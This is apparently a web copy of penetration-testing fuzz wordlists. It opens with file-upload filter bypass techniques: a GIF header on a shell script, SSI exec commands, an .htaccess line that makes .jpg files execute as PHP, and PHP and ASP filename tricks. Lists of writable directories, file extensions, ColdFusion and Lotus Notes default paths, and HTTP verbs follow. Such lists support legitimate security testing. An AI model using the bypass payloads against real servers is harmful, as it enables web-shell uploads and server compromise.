Name Filter Bypass<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> # For MIME filter bypass, your shellscript should look like<br /> # -------<br /> # GIF89aP;<br /> # [shell]<br /> # -------<br /> #<br /> # For mod_cgi Server Side Include upload attacks<br /> #<br /> #&lt;!--#exec cmd=&quot;ls&quot; --&gt;<br /> #<br /> #or, on Windows<br /> #<br /> #&lt;!--#exec cmd=&quot;dir&quot; --&gt;<br /> #<br /> # Sometimes you can overwrite .htaccess in an upload folder on Apache httpd, try setting .jpg to executable. If you can set the target directory, try fuzz the list of all dirs you've enumberated on the servers, and try the commonly writable directory fuzzfile.<br /> #<br /> # example .htaccess that sets mime type .jpg to be executable:<br /> # -----<br /> # AddType application/x-httpd-php .jpg<br /> # -----<br /> &lt;/pre&gt;<br /> <br /> === Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2) ===<br /> &lt;pre&gt;# Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> %00index.html<br /> ;index.html<br /> &lt;/pre&gt;<br /> <br /> === PHP-Specific Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7) ===<br /> &lt;pre&gt;# PHP-Specific File Upload Filter Bypass Appends (Update: 17 March 2010 - notes<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> # also: use &quot;gim&quot; to create a .jpg image with the meta comment field set to:<br /> # -----<br /> #&lt;?php phpinfo(); ?&gt; <br /> #-----<br /> <br /> {PHPSCRIPT}<br /> {PHPSCRIPT}.phtml<br /> {PHPSCRIPT}.php.html<br /> {PHPSCRIPT}.php::$DATA<br /> {PHPSCRIPT}.php.php.rar <br /> {PHPSCRIPT}.php.rar<br /> {PHPSCRIPT}.php.doc<br /> {PHPSCRIPT}.php.xls<br /> {PHPSCRIPT}.php.xlsx<br /> {PHPSCRIPT}.php.pdf<br /> {PHPSCRIPT}.php.jpeg<br /> {PHPSCRIPT}.php.gif<br /> {PHPSCRIPT}.php.zip<br /> &lt;/pre&gt;<br /> <br /> === Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14) ===<br /> &lt;pre&gt;# Microsoft-Specific Cross-Platform File Upload Filter Bypass Appends (Update: 17 March 2009<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {ASPSCRIPT}<br /> {ASPSCRIPT};<br /> {ASPSCRIPT};.jpg<br /> {ASPSCRIPT};.pdf<br /> {ASPSCRIPT};.html<br /> {ASPSCRIPT};.htm<br /> {ASPSCRIPT};.txt<br /> {ASPSCRIPT};.xyz<br /> {ASPSCRIPT};.zip<br /> {ASPSCRIPT};.tgz<br /> {ASPSCRIPT};.doc<br /> {ASPSCRIPT};.docx<br /> {ASPSCRIPT};.xls<br /> {ASPSCRIPT};.xlsx<br /> &lt;/pre&gt;<br /> <br /> === Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9) ===<br /> &lt;pre&gt;#Commonly Writable Directories - For File Upload Filter Bypass - Filename Appends (Update: 17 March 2010) <br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> {HOST}/templates_compiled/<br /> {HOST}/templates_c/<br /> {HOST}/templates/<br /> {HOST}/temporary/<br /> {HOST}/images/<br /> {HOST}/cache/<br /> {HOST}/temp/<br /> {HOST}/files/<br /> {HOST}/tmp/<br /> &lt;/pre&gt;<br /> <br /> === Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863) ===<br /> &lt;pre&gt;<br /> #Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> &lt;pre&gt;<br /> .$er<br /> .123<br /> .1pe<br /> .1ph<br /> .3dr<br /> .3dt<br /> .3me<br /> .3pe<br /> .4dl<br /> .4dv<br /> .8xk<br /> .^^^<br /> .a3l<br /> .a3m<br /> .a3w<br /> .a4l<br /> .a4m<br /> .a4w<br /> .a5l<br /> .a5w<br /> .a65<br /> .aao<br /> .ab<br /> .ab1<br /> .ab2<br /> .ab3<br /> .abcd<br /> .abi<br /> .abp<br /> .aby<br /> .aca<br /> .acc<br /> .accdb<br /> .acf<br /> .acg<br /> .ade<br /> .adp<br /> .adt<br /> .adx<br /> .aft<br /> .agd<br /> .aifb<br /> .alc<br /> .ald<br /> .ali<br /> .amb<br /> .amsorm<br /> .an1<br /> .anme<br /> .apr<br /> .arc<br /> .arh<br /> .ask<br /> .asm<br /> .ast<br /> .at5<br /> .att<br /> .aw<br /> .awg<br /> .azw<br /> .bafl<br /> .bci<br /> .bcm<br /> .bdf<br /> .bdic<br /> .bfx<br /> .bgl<br /> .bgt<br /> .bin<br /> .bjo<br /> .bk<br /> .bkk<br /> .blb<br /> .bld<br /> .blg<br /> .bok<br /> .box<br /> .brd<br /> .brw<br /> .btf<br /> .btif<br /> .btm<br /> .btr<br /> .cap<br /> .cat<br /> .cbg<br /> .cch<br /> .ccr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .cdx<br /> .cel<br /> .celtx<br /> .chg<br /> .chk<br /> .chn<br /> .ckd<br /> .ckt<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .clp<br /> .cmbl<br /> .cna<br /> .contact<br /> .cpi<br /> .cpmz<br /> .crd<br /> .crtx<br /> .csa<br /> .csv<br /> .ctf<br /> .ctt<br /> .cursorfx<br /> .curxptheme<br /> .cvd<br /> .cvn<br /> .cwk<br /> .cws<br /> .cwz<br /> .cxt<br /> .cyo<br /> .cys<br /> .daf<br /> .dal<br /> .dam<br /> .das<br /> .dat<br /> .data<br /> .db<br /> .db2<br /> .db3<br /> .dbc<br /> .dbd<br /> .dbf<br /> .dbx<br /> .dcf<br /> .dcl<br /> .dcm<br /> .dcmd<br /> .ddc<br /> .ddcx<br /> .ddt<br /> .dem<br /> .des<br /> .dex<br /> .dfm<br /> .dfproj<br /> .dft<br /> .dgb<br /> .dif<br /> .dii<br /> .dlg<br /> .dm2<br /> .dmo<br /> .dmsk<br /> .dnc<br /> .dockzip<br /> .dp1<br /> .dpn<br /> .dpx<br /> .drl<br /> .dsb<br /> .dsd<br /> .dsk<br /> .dsy<br /> .dsz<br /> .dt0<br /> .dt1<br /> .dt2<br /> .dta<br /> .dtr<br /> .dvdproj<br /> .dvo<br /> .dwi<br /> .e00<br /> .eap<br /> .ebuild<br /> .ec0<br /> .eco<br /> .ecx<br /> .edb<br /> .edf<br /> .eep<br /> .efx<br /> .egp<br /> .emb<br /> .emd<br /> .emlxpart<br /> .enc<br /> .enw<br /> .epp<br /> .epub<br /> .epw<br /> .er1<br /> .esp<br /> .ess<br /> .est<br /> .esx<br /> .et<br /> .eta<br /> .etd<br /> .etl<br /> .ev<br /> .ev3<br /> .evt<br /> .evy<br /> .exif<br /> .exp<br /> .exx<br /> .fa<br /> .fasta<br /> .fbl<br /> .fcd<br /> .fcs<br /> .fdb<br /> .ffd<br /> .ffwp<br /> .fhc<br /> .fid<br /> .fil<br /> .flame<br /> .fll<br /> .flo<br /> .flp<br /> .flt<br /> .fm<br /> .fm5<br /> .fmp<br /> .fo<br /> .fob<br /> .fol<br /> .fop<br /> .fox<br /> .fp<br /> .fp3<br /> .fp4<br /> .fp5<br /> .fp7<br /> .frl<br /> .frm<br /> .fro<br /> .frx<br /> .fsb<br /> .fsc<br /> .ftm<br /> .ftw<br /> .gan<br /> .gbr<br /> .gc<br /> .gcx<br /> .gdb<br /> .ged<br /> .gedcom<br /> .gen<br /> .ggb<br /> .gml<br /> .gms<br /> .gno<br /> .gnp<br /> .gp3<br /> .gpi<br /> .gps<br /> .gpx<br /> .gra<br /> .grade<br /> .grf<br /> .grib<br /> .grk<br /> .grr<br /> .grv<br /> .gs<br /> .gst<br /> .gtp<br /> .gwk<br /> .gxl<br /> .hcc<br /> .hce<br /> .hci<br /> .hcp<br /> .hcr<br /> .hcu<br /> .hda<br /> .hdb<br /> .hdf<br /> .hdi<br /> .hdl<br /> .hif<br /> .hl<br /> .hml<br /> .hmt<br /> .hs2<br /> .hsk<br /> .hst<br /> .htg<br /> .huh<br /> .hyv<br /> .i5z<br /> .ib<br /> .ics<br /> .id2<br /> .idx<br /> .igc<br /> .ihx<br /> .ii<br /> .iif<br /> .img<br /> .imt<br /> .ink<br /> .inp<br /> .ins<br /> .ip<br /> .irock<br /> .irr<br /> .irx<br /> .isf<br /> .itdb<br /> .itl<br /> .itm<br /> .itn<br /> .itw<br /> .itx<br /> .ivt<br /> .iw<br /> .ixb<br /> .jasper<br /> .jdb<br /> .jef<br /> .jmp<br /> .jnt<br /> .job<br /> .joboptions<br /> .joined<br /> .jph<br /> .jrprint<br /> .jrxml<br /> .jude<br /> .kap<br /> .kdb<br /> .kid<br /> .kismac<br /> .kmz<br /> .kpf<br /> .kpp<br /> .kpr<br /> .kpx<br /> .kpz<br /> .l<br /> .l6t<br /> .laccdb<br /> .lbl<br /> .lbx<br /> .lcd<br /> .lcf<br /> .lcm<br /> .ldif<br /> .lex<br /> .lgc<br /> .lgf<br /> .lgh<br /> .lgi<br /> .lgl<br /> .lib<br /> .lif<br /> .livereg<br /> .liveupdate<br /> .lix<br /> .llb<br /> .lms<br /> .lmx<br /> .lnt<br /> .loc<br /> .lp7<br /> .lrf<br /> .lrs<br /> .lrx<br /> .lsf<br /> .lsl<br /> .lsp<br /> .lsr<br /> .lst<br /> .lsu<br /> .lvm<br /> .lw4<br /> .ly<br /> .m<br /> .mag<br /> .mai<br /> .map<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mbf<br /> .mbg<br /> .mbl<br /> .mbp<br /> .mbx<br /> .mc1<br /> .mc9<br /> .mcd<br /> .md<br /> .mdb<br /> .mdc<br /> .mdf<br /> .mdl<br /> .mdm<br /> .mdn<br /> .mdt<br /> .mdx<br /> .mdz<br /> .mem<br /> .menc<br /> .met<br /> .mex<br /> .mfo<br /> .mfp<br /> .mgc<br /> .mls<br /> .mm<br /> .mmap<br /> .mmc<br /> .mmf<br /> .mmp<br /> .mnc<br /> .mng<br /> .mnk<br /> .mno<br /> .mny<br /> .mobi<br /> .moho<br /> .mosaic<br /> .mox<br /> .mpd<br /> .mpj<br /> .mpp<br /> .mpt<br /> .mpx<br /> .mpz<br /> .mq4<br /> .ms10<br /> .mth<br /> .mtw<br /> .mud<br /> .muf<br /> .mw<br /> .mwf<br /> .mws<br /> .mwx<br /> .mxd<br /> .myd<br /> .myi<br /> .nb<br /> .nc<br /> .ndf<br /> .ndk<br /> .ndx<br /> .net<br /> .neta<br /> .nfo<br /> .nitf<br /> .nmind<br /> .not<br /> .notebook<br /> .np<br /> .npl<br /> .npt<br /> .nrl<br /> .ns2<br /> .ns3<br /> .ns4<br /> .nsf<br /> .ntx<br /> .numbers<br /> .nvl<br /> .nyf<br /> .oab<br /> .obj<br /> .odb<br /> .odf<br /> .odp<br /> .ods<br /> .odx<br /> .oeaccount<br /> .ofc<br /> .ofm<br /> .oft<br /> .ofx<br /> .omcs<br /> .omp<br /> .ond<br /> .one<br /> .oo3<br /> .opf<br /> .opx<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .or6<br /> .org<br /> .orx<br /> .otf<br /> .otl<br /> .otln<br /> .ots<br /> .out<br /> .ov2<br /> .ova<br /> .ovf<br /> .p96<br /> .p97<br /> .pab<br /> .paf<br /> .pan<br /> .pbd<br /> .pc<br /> .pcap<br /> .pcb<br /> .pcr<br /> .pd4<br /> .pd5<br /> .pdas<br /> .pdb<br /> .pdd<br /> .pdm<br /> .pds<br /> .pdx<br /> .peb<br /> .pec<br /> .pep<br /> .pex<br /> .pfc<br /> .pfl<br /> .phb<br /> .phm<br /> .pi<br /> .pis<br /> .pjx<br /> .pka<br /> .pkb<br /> .pkh<br /> .pks<br /> .pkt<br /> .pln<br /> .plw<br /> .pmo<br /> .pmr<br /> .pnproj<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pod<br /> .poi<br /> .pos<br /> .postal<br /> .pot<br /> .potm<br /> .potx<br /> .pp2<br /> .ppf<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .prc<br /> .pre<br /> .prf<br /> .prj<br /> .prm<br /> .prs<br /> .psa<br /> .psf<br /> .psm<br /> .pst<br /> .ptb<br /> .ptf<br /> .ptk<br /> .ptm<br /> .ptn<br /> .ptt<br /> .ptz<br /> .pvl<br /> .pwd<br /> .pxj<br /> .pxl<br /> .q07<br /> .q08<br /> .q09<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qdfm<br /> .qel<br /> .qfx<br /> .qif<br /> .qpb<br /> .qpf<br /> .qph<br /> .qpm<br /> .qpw<br /> .qrp<br /> .qsd<br /> .ral<br /> .rbt<br /> .rcd<br /> .rcg<br /> .rdb<br /> .rdf<br /> .rdx<br /> .ref<br /> .ret<br /> .rf1<br /> .rfa<br /> .rfo<br /> .rge<br /> .rgn<br /> .rgo<br /> .rmuf<br /> .rnq<br /> .rod<br /> .rog<br /> .roi<br /> .rou<br /> .rpp<br /> .rpt<br /> .rrt<br /> .rsc<br /> .rsd<br /> .rsw<br /> .rte<br /> .rvt<br /> .rwg<br /> .rzb<br /> .s85<br /> .saf<br /> .sam07<br /> .sar<br /> .sav<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sca<br /> .scf<br /> .sch<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sdp<br /> .sdq<br /> .sds<br /> .sen<br /> .seo<br /> .seq<br /> .ser<br /> .sgml<br /> .sgn<br /> .shp<br /> .shs<br /> .shx<br /> .skc<br /> .skv<br /> .skx<br /> .sle<br /> .slk<br /> .slp<br /> .snapfireshow<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sps<br /> .spub<br /> .spv<br /> .sq<br /> .sqd<br /> .sql<br /> .sqlite<br /> .sqr<br /> .sta<br /> .stc<br /> .stf<br /> .stk<br /> .stl<br /> .stm<br /> .stp<br /> .str<br /> .stt<br /> .stw<br /> .styk<br /> .stykz<br /> .swk<br /> .sxc<br /> .sxi<br /> .sy3<br /> .t01<br /> .t02<br /> .t03<br /> .t04<br /> .t05<br /> .t06<br /> .t07<br /> .t08<br /> .t09<br /> .t2<br /> .t3001<br /> .tax2008<br /> .tax2009<br /> .tb<br /> .tbk<br /> .tbl<br /> .tcc<br /> .tcx<br /> .tda<br /> .tdl<br /> .tdm<br /> .tdt<br /> .te<br /> .te3<br /> .teacher<br /> .tef<br /> .tet<br /> .tfa<br /> .tfd<br /> .tfrd<br /> .tjp<br /> .tk3<br /> .tkfl<br /> .tmw<br /> .tol<br /> .topc<br /> .tpb<br /> .tps<br /> .tr3<br /> .tra<br /> .trd<br /> .trk<br /> .trs<br /> .trx<br /> .tst<br /> .tsv<br /> .ttk<br /> .txa<br /> .txd<br /> .txf<br /> .uccapilog<br /> .ud<br /> .udb<br /> .udeb<br /> .uds<br /> .ulf<br /> .ulz<br /> .update<br /> .upoi<br /> .usr<br /> .uvf<br /> .uwl<br /> .val<br /> .vbpf1<br /> .vcd<br /> .vce<br /> .vcf<br /> .vcs<br /> .vdb<br /> .vdx<br /> .vfs<br /> .vi<br /> .vip<br /> .vle<br /> .vlg<br /> .vmt<br /> .voi<br /> .vok<br /> .vrd<br /> .vscontent<br /> .vsx<br /> .vtx<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb2<br /> .wb3<br /> .wdb<br /> .wdq<br /> .wea<br /> .wfd<br /> .wfm<br /> .wgp<br /> .wgt<br /> .windowslivecontact<br /> .wjr<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wki<br /> .wks<br /> .wku<br /> .wlmp<br /> .wmdb<br /> .wor<br /> .wpc<br /> .wpf<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtb<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xdp<br /> .xds<br /> .xef<br /> .xem<br /> .xfd<br /> .xfo<br /> .xft<br /> .xl<br /> .xlc<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsb<br /> .xlsm<br /> .xlsx<br /> .xlt<br /> .xltm<br /> .xltx<br /> .xlw<br /> .xmcd<br /> .xml<br /> .xmlper<br /> .xmpz<br /> .xpg<br /> .xpj<br /> .xpm<br /> .xpt<br /> .xrp<br /> .xsl<br /> .xslt<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .yam<br /> .zap<br /> .zdb<br /> .zdc<br /> .zix<br /> .zmc<br /> .zpl<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Compressed File Types - (Update: 16 March 2010 - Total Statements: 187) ===<br /> &lt;pre&gt;<br /> # Compressed File Types - (Update: 16 March 2010 - Total Statements: 187)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .0<br /> .000<br /> .7z<br /> .a00<br /> .a01<br /> .a02<br /> .ace<br /> .ain<br /> .alz<br /> .apz<br /> .ar<br /> .arc<br /> .arh<br /> .ari<br /> .arj<br /> .ark<br /> .axx<br /> .b64<br /> .ba<br /> .bh<br /> .boo<br /> .bz<br /> .bz2<br /> .bzip<br /> .bzip2<br /> .c00<br /> .c01<br /> .c02<br /> .car<br /> .cb7<br /> .cbr<br /> .cbt<br /> .cbz<br /> .cp9<br /> .cpgz<br /> .cpt<br /> .dar<br /> .dd<br /> .deb<br /> .dgc<br /> .dist<br /> .ecs<br /> .efw<br /> .epi<br /> .f<br /> .fdp<br /> .gca<br /> .gz<br /> .gzi<br /> .gzip<br /> .ha<br /> .hbc<br /> .hbc2<br /> .hbe<br /> .hki<br /> .hki1<br /> .hki2<br /> .hki3<br /> .hpk<br /> .hyp<br /> .ice<br /> .ipg<br /> .ipk<br /> .ish<br /> .j<br /> .jar.pack<br /> .jgz<br /> .jic<br /> .kgb<br /> .lbr<br /> .lemon<br /> .lha<br /> .lnx<br /> .lqr<br /> .lz<br /> .lzh<br /> .lzm<br /> .lzma<br /> .lzo<br /> .lzx<br /> .md<br /> .mint<br /> .mou<br /> .mpkg<br /> .mzp<br /> .oar<br /> .p7m<br /> .pack.gz<br /> .package<br /> .pae<br /> .pak<br /> .paq6<br /> .paq7<br /> .paq8<br /> .par<br /> .par2<br /> .pbi<br /> .pcv<br /> .pea<br /> .pet<br /> .pf<br /> .pim<br /> .pit<br /> .piz<br /> .pkg<br /> .pup<br /> .puz<br /> .pwa<br /> .qda<br /> .r0<br /> .r00<br /> .r01<br /> .r02<br /> .r03<br /> .r1<br /> .r2<br /> .r30<br /> .rar<br /> .rev<br /> .rk<br /> .rnc<br /> .rp9<br /> .rpm<br /> .rte<br /> .rz<br /> .rzs<br /> .s00<br /> .s01<br /> .s02<br /> .s7z<br /> .sar<br /> .sdc<br /> .sdn<br /> .sea<br /> .sen<br /> .sfs<br /> .sfx<br /> .sh<br /> .shar<br /> .shk<br /> .shr<br /> .sit<br /> .sitx<br /> .spt<br /> .sqx<br /> .sqz<br /> .tar<br /> .tar.gz<br /> .tar.xz<br /> .taz<br /> .tbz<br /> .tbz2<br /> .tg<br /> .tgz<br /> .tlz<br /> .tlzma<br /> .txz<br /> .tz<br /> .uc2<br /> .uha<br /> .vem<br /> .vsi<br /> .wad<br /> .war<br /> .wot<br /> .xef<br /> .xez<br /> .xmcdz<br /> .xpi<br /> .xx<br /> .xz<br /> .y<br /> .yz<br /> .z<br /> .z01<br /> .z02<br /> .z03<br /> .z04<br /> .zap<br /> .zfsendtotarget<br /> .zip<br /> .zipx<br /> .zix<br /> .zoo<br /> .zpi<br /> .zz&lt;/pre&gt;<br /> <br /> === Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) ===<br /> &lt;pre&gt;<br /> # Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> .3me<br /> .3pe<br /> .4dl<br /> .8xk<br /> .^^^<br /> .aao<br /> .ab2<br /> .aca<br /> .accdb<br /> .acf<br /> .acg<br /> .agd<br /> .an1<br /> .anme<br /> .arc<br /> .arh<br /> .ast<br /> .att<br /> .aw<br /> .bafl<br /> .bdf<br /> .bfx<br /> .bjo<br /> .bld<br /> .blg<br /> .btf<br /> .btif<br /> .btr<br /> .cct<br /> .cdb<br /> .cdd<br /> .cdf<br /> .cdp<br /> .cdr<br /> .chk<br /> .ckd<br /> .cl2<br /> .cl4<br /> .clb<br /> .clix<br /> .clm<br /> .cmbl<br /> .contact<br /> .cpi<br /> .cpmz<br /> .csv<br /> .cwz<br /> .cxt<br /> .daf<br /> .dat<br /> .data<br /> .db<br /> .dcf<br /> .ddt<br /> .dex<br /> .dif<br /> .dmsk<br /> .dnc<br /> .dpx<br /> .dsd<br /> .dt1<br /> .dt2<br /> .dta<br /> .e00<br /> .ec0<br /> .edf<br /> .eep<br /> .efx<br /> .enc<br /> .enw<br /> .epw<br /> .est<br /> .et<br /> .eta<br /> .ev3<br /> .exif<br /> .exp<br /> .fbl<br /> .fdb<br /> .fid<br /> .fol<br /> .gdb<br /> .gen<br /> .gnp<br /> .gpi<br /> .gpx<br /> .hcp<br /> .hdf<br /> .hmt<br /> .hsk<br /> .htg<br /> .id2<br /> .ii<br /> .img<br /> .ink<br /> .ins<br /> .irr<br /> .irx<br /> .iw<br /> .jdb<br /> .jnt<br /> .job<br /> .jrprint<br /> .kmz<br /> .lbx<br /> .lex<br /> .lgf<br /> .lgl<br /> .lib<br /> .liveupdate<br /> .lnt<br /> .lst<br /> .m<br /> .masseffectprofile<br /> .mat<br /> .mbb<br /> .mdb<br /> .mem<br /> .menc<br /> .met<br /> .mmf<br /> .mng<br /> .mpd<br /> .mpp<br /> .ms10<br /> .muf<br /> .mw<br /> .mwf<br /> .mwx<br /> .nc<br /> .ndx<br /> .nfo<br /> .not<br /> .ns2<br /> .ns3<br /> .ns4<br /> .ntx<br /> .numbers<br /> .ods<br /> .oeaccount<br /> .omcs<br /> .or2<br /> .or3<br /> .or4<br /> .or5<br /> .orx<br /> .out<br /> .ov2<br /> .ovf<br /> .paf<br /> .pbd<br /> .pcr<br /> .pdb<br /> .pdx<br /> .peb<br /> .pec<br /> .pfc<br /> .pis<br /> .pln<br /> .pnpt<br /> .pns<br /> .pnt<br /> .pos<br /> .postal<br /> .pps<br /> .ppsx<br /> .ppt<br /> .pptm<br /> .pptx<br /> .pre<br /> .prf<br /> .psa<br /> .psf<br /> .pst<br /> .ptz<br /> .q07<br /> .q3d<br /> .qbw<br /> .qdat<br /> .qdf<br /> .qfx<br /> .qpf<br /> .qpw<br /> .qsd<br /> .rcd<br /> .rdx<br /> .ref<br /> .rmuf<br /> .roi<br /> .rrt<br /> .rvt<br /> .rwg<br /> .saf<br /> .sam07<br /> .sbd<br /> .sbf<br /> .sbq<br /> .sbt<br /> .sdb<br /> .sdc<br /> .sdf<br /> .sds<br /> .ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> # Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;<br /> # ll HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31)<br /> # adam.muntner@quietmove.com<br /> # creative commons<br /> <br /> OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> 